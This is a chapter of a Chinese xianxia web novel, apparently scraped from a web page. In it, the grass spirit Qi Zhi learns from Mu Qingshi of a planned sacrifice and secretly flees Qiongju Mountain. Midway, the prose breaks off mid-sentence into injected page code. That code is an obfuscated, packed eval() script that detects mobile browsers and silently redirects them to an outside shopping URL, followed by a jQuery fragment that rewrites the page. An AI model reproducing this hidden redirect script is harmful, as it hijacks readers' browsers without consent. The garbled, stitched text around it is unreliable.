窗外的风声,敲打着那一瞬的静默。
枯萎的花朵早已散尽余香,取而代之的,是一股淡淡的血腥气。
屋外的尸首,白昼的暗月,守在窗边的阿云,还有推门而入的慕师姐——所有的一切,无一不透露着十足诡异的危险。
可耳畔的声音,轻抚过发间的手指,却仍有着无异于过去的温柔。
祈枝怯怯睁开双眼,有些呆滞地望着慕轻时的眼睛,不敢说话。
此刻的琼琚山,寂静得像是一片死地。
山上还有活着的人吗?
她不知道。
慕轻时为何如此,又为何没有对她动手?
她也不知道。
她只知道,慕轻时此刻正侧坐在她的床上,手里拿着一把木梳,一下又一下,动作轻柔地为她梳着头发。
就在今天早上,她还做过类似的美梦,怎料真到了这种时候,她竟莫名有些担心自己的脑袋会被慕轻时给扯下来,就像外头凉透了的四师兄那样,死成一块一块的。
所以她将脖子缩得更紧了。
很快,发髻梳好了,祈枝的担心并未发生。
慕轻时眼含笑意,偏着头似认真将她打量了一番,而后目光向别处一瞥,起身朝那碎落在墙角的残镜走了过去。
祈枝心头再次一紧,不自觉攥紧了被子的一角。
慕轻时俯身,拾起其中一块,眼底眸光明灭。
那么小的一面镜子,竟也能碎得七零八落,多像这满屋的花,开时繁茂,谢时无声。
她就知道,师妹口中的喜欢不过如此。
可她偏要强求。
慕轻时眸中闪过一丝自嘲的笑意,指尖灵光倏然亮起,将那碎落一地的残镜碎片,尽数悬于掌心之上。
顷刻间,破镜重圆。
阿云将头别向了窗外,抬眼望天。
慕轻时若无其事般回到床边坐下,将镜子递向了仍旧蜷膝缩在床角的祈枝。
祈枝张了张嘴,没敢说话,也没敢去接。
慕轻时脸上笑意未减,眼帘微垂,不动声色地掰开了祈枝紧扣的手指,将镜子塞进了她轻颤着的手心。
窗外天色渐暗,屋外的尸首与血渍已被慕轻时用灵力清扫干净。
风雪未歇,又为此间落了一层新白,风铃轻轻响动着,仿佛什么都不曾发生。
慕轻时去厨房为祈枝煮了一碗长寿面,同往常一样,坐在一旁,看她抱着碗筷吃了个一干二净。
只是这一次,祈枝全程没有说话,脑袋一埋就是吃,筷子一放就是嗝。
入夜后,慕轻时并未留下,只是在走前对祈枝说了一番话。
“今日仙台之上悬有一阵,道尊为求突破,需生祭一人,护阵者皆知真相。”
“他确实以自己的神魂将你的灵根温养了五百年,可若他真想对你好,何至于五百年来不闻不问,直至今日才将你想起?”
“叶无拘与清瑶来此寻你,是要将你带入阵中,而为你戴上那镯子,则是他二人的一己贪欲。”
话到此处,慕轻时回身望了祈枝一眼:“你可以不信,但我没有骗你。”
说罢,转身离去。
阿云看着桌边坐得分外乖巧的祈枝,目光扫过她发间若隐若现的纯白花苞,忍不住叹了一声。
它觉得慕轻时不太会安慰小姑娘,身为一只热心肠的好鸟,她有必要帮慕轻时多说几句好话。
“我说你怕啥呀,像你这样的小妖我都能一口一个,她要真想杀你,你还能在这儿坐着呢?”
“有些人啊,你不杀他,他就会杀你,不用有什么心理负担的。弱肉强食嘛,这世间向来如此。”
“往后啊,你就把心放肚子里,喜欢什么、讨厌什么,你只管说就是,我和轻时准能给你办妥了!”
阿云叭叭了半天,终于听见祈枝轻轻“嗯”了一声,瞬间松了口气。
很好,看起来它的安慰颇有成效。
阿云:“那你早些休息吧,我不打扰你啦。”
祈枝一脸乖巧地向它点了点头。
阿云心满意足,转身面朝窗外,小脚一跺,翅膀一拍,追着慕轻时离去的方向飞远。
烛火昏黄,轻晃着一抹瘦小的人影。
祈枝看向腕间的玉镯,抿了抿唇,将它轻轻摘下。
她想,道尊之事,慕轻时应是没有骗她的。
那位永远高高在上的道尊,若曾真心为她好过,她便不应是这琼琚山里人人可欺的存在。
是她心里有着太多不切实际的期盼,想要得到认可,渴望被人接纳,才会那么轻易地相信了自己也曾被师尊在意过的离谱谎言。
阿云说得也没什么错。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971336|193452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她只是一棵修为低微的小草,慕轻时若真想杀她,不过就是动动手指的事。
可她就是忽然从一场美梦里醒过来了,理智告诉她,这世上没有谁会无缘无故对一个人好的。
能让天道门都覆灭于一朝一夕,慕轻时究竟有着怎样的身份来历,祈枝连想都不敢想。
她不过就是曾在山间摇过那么一次桂花,凭什么就能换得一个这样的人对她百般爱护呢?
若说这一切真的别无所图,只怕是傻子都不会信吧。
虽说她暂时还想不明白其中的缘由,但她已经美滋滋地当了四百年的傻子了,实在是不想再这样继续傻下去了。
有枝可依的感觉很好没错,但她再不赶快清醒一点,只怕早晚有一天会把自己小命都傻没掉的。
祈枝这般想着,深吸了一口气,起身关拢了门窗。
那天夜里,祈枝将自己为数不多方便携带的东西都收拾成了一个不大的包袱。
慕轻时硬塞给她的对影镜,被她用枕头轻轻盖住。
末了,她摸索着取下发间玉簪,也一并放在了枕头底下。
就这样,小小的人儿,背着小小的包袱,做贼似的推开一条门缝,探出半个脑袋,四下望了一圈。
四下无人,她深吸一口长气,逃似的离开了这小小的院落。
只是月儿刚刚爬上头顶,离去的少女便又悄悄折了回来,将那支玉簪从枕下摸了出来。
她迟疑片刻,尝试着往里头注入了一点灵力。
玉簪没有反应,想必不是什么法器。
祈枝缓缓松了口气,打开包袱,将其小心翼翼地藏在了几件柔软的衣物中间。
她想,多少留一个纪念吧。
哪怕有过再多的谎言,四百年来慕轻时对她的那些好也都是真实发生过的,想来往后无论去哪儿,也都不会再有别的人对她这么好了。
留个纪念,不过分吧?
……
对的!不过分的!
所以祈枝取回了这支簪子,又一次迎着风雪,借着月光,带着满心的期待与好奇,向着山外一路奔去。
这条离山的路,她在梦中走过无数次,不是被抓,就是梦醒。
不过这一次,已经没有木长老会带着人来抓她了。
她终于可以离开这里,去看看外面的天地了!